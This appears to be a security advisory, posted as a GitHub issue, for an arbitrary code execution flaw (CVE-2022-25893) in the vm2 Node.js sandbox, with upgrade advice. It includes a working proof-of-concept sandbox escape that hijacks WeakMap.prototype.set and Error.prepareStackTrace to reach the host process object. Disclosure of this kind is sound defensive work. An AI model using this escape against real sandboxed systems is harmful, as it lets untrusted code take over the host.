You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Arbitrary Code Execution due to the usage of prototype lookup for the WeakMap.prototype.set method. Exploiting this vulnerability leads to access to a host object and a sandbox compromise.
PoC
const{VM}=require('vm2');newVM().run(`const { set } = WeakMap.prototype;WeakMap.prototype.set = function(v) {return set.call(this, v, v);};Error.prepareStackTrace =Error.prepareStackTrace =(_, c) => c.map(c => c.getThis()).find(a => a);const { stack } = new Error();Error.prepareStackTrace = undefined;stack.process.exit(1);`);// Never gets executed.console.log('Finished');
Detailed paths
Overview
vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.
Affected versions of this package are vulnerable to Arbitrary Code Execution due to the usage of prototype lookup for the
WeakMap.prototype.set
method. Exploiting this vulnerability leads to access to a host object and a sandbox compromise.PoC
Remediation
Upgrade
vm2
to version 3.9.10 or higher.References
SNYK-JS-VM2-2990237
(CVE-2022-25893) vm2@3.9.3
The text was updated successfully, but these errors were encountered: